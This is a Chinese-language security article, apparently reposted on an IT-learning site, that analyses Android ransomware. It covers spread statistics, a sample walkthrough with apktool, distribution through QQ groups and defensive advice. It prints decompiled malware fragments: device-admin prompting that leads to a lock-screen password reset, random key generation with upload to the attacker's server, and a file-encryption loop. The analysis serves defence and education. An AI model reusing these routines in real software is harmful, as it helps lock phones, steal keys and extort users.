文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

Android勒索软件分析

2022-06-06 14:07

关注

Android勒索软件分析 0x00 前言

在2019年7月31日,安全厂商ESET的研究人员Lukas Stefanko探测到了一款针对Android用户的新型勒索软件Filecoder.C,此病毒第一次出现在Reddit和Android开发者论坛XDA Developer上,再透过受害者手机大量散布。截止至目前为止,大约有230万人次已被确认“中招”,而有趣的是即使受害者乖乖交了几百美金的“赎金”,却依然无法恢复文件。

这让我们不禁反思两个现象:

大多数人在“中招“后,由于缺少足够的应对经验和技术,往往不知所措、无从下手。在经过激烈的思想博弈后,率先认输,自认倒霉,乖乖交钱。助长了黑客的气焰不说还有可能出现”即使有密钥也无法恢复手机“的现象。 移动端的安全防护较PC端较差,暴露出的攻击面更多。同时大多用户对移动APP的攻击技术不够了解,从侧面增加黑客攻击的成功率。

由此可以得出两个结论:

移动端的安全威胁将进一步提升,以勒索软件为代表的恶意软件将进一步进入手机市场。 目前移动端市场缺少一款性能优越的防勒索软件。 0x01 手机市场勒索软件情况

以360安全中心2017年的统计数据为例,在2017年的1月至9月,平均每月捕获手机勒索软件5.5万余个。其中1月到5月手机勒索软件呈现波动式增长,6月份网警在芜湖、安阳将勒索病毒制作者男子陈某及主要传播者晋某抓获,全国首例手机勒索病毒案告破,在6月份以后新增数量急剧下降,手机勒索软件制作者得到了一定震慑作用。

届时只要用户点击了此勒索软件,便会不停的弹出窗口向用户索要权限,直至用户同意才停止弹窗。

  
public void onActivityResult(int i, int i2, Intent intent) {  
    if (i2 == -1) {  
        startService(new Intent(getBaseContext(), admsurprises2.class));  
    } else {  
        mo5a();  
    }  
    super.onActivityResult(i, i2, intent);  
}  
  
  
public void mo5a() {  
    this.f7f = (DevicePolicyManager) getSystemService("device_policy");  
    if (!this.f7f.isAdminActive(new ComponentName(this, Abrab16.class))) {  
        Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");  
        intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, Abrab16.class));  
        intent.putExtra("android.app.extra.ADD_EXPLANATION", getString(C0079R.string.admindescription));  
        intent.setFlags(536870912);  
        startActivityForResult(intent, this.f8g);  
    }  
}  

一旦用户给了权限,想要取消激活就只能在设置->安全->设备管理应用程序 中手动取消激活,但此时已经为时已晚,勒索软件便可以通过resetPassword方法重置掉用户的锁屏密码。
在这里插入图片描述

附加说明:
Android N(7.x)中,DevicePolicyManager.resetPassword方法只能为没有密码的机器设置初始密码,但不能重置或者清除已有的密码了,因此旧版本的恶意应用在有密码的机器上是没办法设置密码的。

当App targetsdkversion为Android O(8.x)及以上,该API会直接抛出SecurityException异常,因此恶意应用会选择较低的targetsdk版本进行规避。

加密文件类勒索软件:
该病毒类似于永恒之蓝事件所爆发时的wannacry勒索软件,通过比特币的形式勒索用户缴纳赎金并规避现金交易的风险,首先该软件会要求用户开启辅助点击服务,一旦用户给予了权限,立即跳转到激活设备管理器页面并模拟点击激活设备管理器,以上操作仅仅为了增强自身的存活性,之后便加密文件,跳出勒索界面要求用户缴纳赎金。

如果数据被加密且使用了非对称加密算法,或密钥是随机生成并被上传到作者的服务器,数据恢复的概率会变得十分渺茫。
在这里插入图片描述

以下代码实现生成随机密码并上传至作者的服务器:
public static SecretKey a() {  
    SecretKey v0_2;  
    try {  
        SecureRandom v0_1 = new SecureRandom();  
        KeyGenerator v1 = KeyGenerator.getInstance(k.a[22]);  
        v1.init(0x100, v0_1);  
        v0_2 = v1.generateKey();  
    }  
    catch(Exception v0) {  
        v0_2 = null;  
    }  
    return v0_2;  
}  
public void a(Context arg8, String arg9, String arg10) {  
        new r(arg8, k.a[24]).execute(new Object[]{String.format(Locale.US, k.a[25], Arrays.toString(k.c.getEncoded()), arg9, Build.MODEL, arg10)});  
    }  
public static final CharSequence a(Context arg8, List arg9, boolean arg10) {  
        Throwable v2_2;  
        Closeable v0_3;  
        InputStream v2_1;  
        Closeable v1 = null;  
        StringBuilder v3 = new StringBuilder();  
        if(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a(arg8)) {  
            try {  
                HttpPost v0_2 = new HttpPost(new URI(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.b(arg8)));  
                v0_2.setEntity(new UrlEncodedFormEntity(arg9, llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a[4]));  
                BasicHttpParams v2 = new BasicHttpParams();  
                HttpConnectionParams.setConnectionTimeout(((HttpParams)v2), 300000);  
                HttpConnectionParams.setSoTimeout(((HttpParams)v2), 60000);  
                HttpConnectionParams.setTcpNoDelay(((HttpParams)v2), true);  
                v2_1 = new DefaultHttpClient(((HttpParams)v2)).execute(((HttpUriRequest)v0_2)).getEntity().getContent();  
            }  
            catch(Exception v0_1) {  
                v0_3 = null;  
                goto label_43;  
            }  
以下代码实现加密或解密用户的文件:
try {  
                if(v0_4.length()  c.b) {  
                    goto label_12;  
                }  
                if(this.i) {  
                    byte[] v1 = o.a(v0_4.getAbsolutePath());  
                    if(v1.length == 0) {  
                        goto label_12;  
                    }  
                    if(this.b(v0_4)) {  
                        this.j = false;  
                        v1_1 = null;  
                    }  
                    else {  
                        v1_1 = this.a(this.a(arg11[0], v1), o.b(v0_4), 0);  
                        this.h = this.h + v0_4.getAbsolutePath() + f.m[24] + v0_4.length() + f.m[26] + "\n";  
                        this.j = true;  
                    }  
                    v3 = v1_1;  
                    goto label_61;  
                }  
                if(this.b(v0_4)) {  
                    v1_2 = this.a(this.b(arg11[0], o.a(v0_4)), o.b(v0_4), 0);  
                    this.h = this.h + v0_4.getAbsolutePath() + f.m[27] + v0_4.length() + f.m[23] + "\n";  
                    this.j = true;  
                    if(v4 == 0) {  
                        v3 = v1_2;  
                        goto label_61;  
                    }  
                }  
                goto label_133;  
            }  
0x03 Android勒索软件样本分析

首先在网上下载了一个公开的勒索软件样本,丢到模拟器里安装一下,就会看到以下情景
在这里插入图片描述
在这里插入图片描述

可以看到这个勒索软件在安装的时候向用户索取了很多敏感权限,如果有用户防范意识不强的话,往往会被极具诱惑力的名字误导安装。

接下来我们点击允许,等待几秒后模拟器重启,一个很丑的页面映入眼帘。。。。在这里插入图片描述
看来是被勒索了,证明这个勒索病毒正常运行了,那么接下来我们对这个APK进行一下逆向,先使用apktool对样本apk进行一下反编译
在这里插入图片描述
接下来查看Manifest.xml文件,可以看到允许应用获取了很多敏感权限,如:向SD卡上写文件、允许应用程序修改全局音频设置、允许应用程序获取手机全局状态、允许访问振动设备、允许程序打开窗口使用等。
在这里插入图片描述

接下来进入主程序可以看到写了多种方式,有DES、MD5等等依次调用,可能被加密了不止一次。
在这里插入图片描述
在这里插入图片描述

以上就是勒索软件的工作原理了,有的勒索软件简单粗暴,也没有经过什么加壳就直接散发出去,主要针对的是那些安全意识淡薄的群体。还有的勒索软件藏在正常的APK当中或者经过加壳处理,一般情况下用户在使用的时候看不出来这是个问题软件,直到触发了勒索软件的加密函数才会加密本机文件,这种勒索软件中招的往往是有一定安全意识的群体,一开始会小心谨慎在放松警惕后勒索软件才开始攻击。

0x04 Android勒索软件的传播方式

目前社交网络成为了勒索软件的主要传播渠道,其中QQ与QQ群成为了大多数攻击者与受害者联系的唯一方式。

在这里插入图片描述

通过对勒索软件预留的QQ号与QQ群的分析,我们发现大部分勒索信息中都会同时出现 QQ号和QQ群号。在相似页面布局的勒索页面中,变化是只是QQ号而 QQ群号基本不变。
在这里插入图片描述

在进到一些锁机QQ群后发现,群里有人将一些锁机源码、测试视频、视频教程、软件源码及制作工具等等上传到群文件中,共享给其他人。除此之外还存在着“一键生成木马“工具,这种一键生成器操作简单,不需要具备编程知识也能够自定义生成多种类型的手机恶意软件。由于使用门槛低,造成了勒索软件从数量、类型上的不断增长与变化。

因此切记不要随意安装非正规应用商店中的软件,也不要轻易的转账或提交个人信息,同时要留意应用所需的权限,不要随意给予与应用功能无关的权限。

0x05 Android勒索软件防御方法 提升个人安全意识,拒绝一切不明渠道的软件安装包,只从正规商店下载正版软件。 不乱点不明链接或扫描不知做什么的二维码,尽可能阻止恶意软件进入手机。 仔细查看软件安装时索取的权限信息,因为勒索软件的运行前提是要获得手机访问文件的权限,所以对于索取此权限的APP要格外注意。 定期检查手机,扫描是否有潜在木马或恶意程序。
作者:美创安全实验室


阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-移动开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯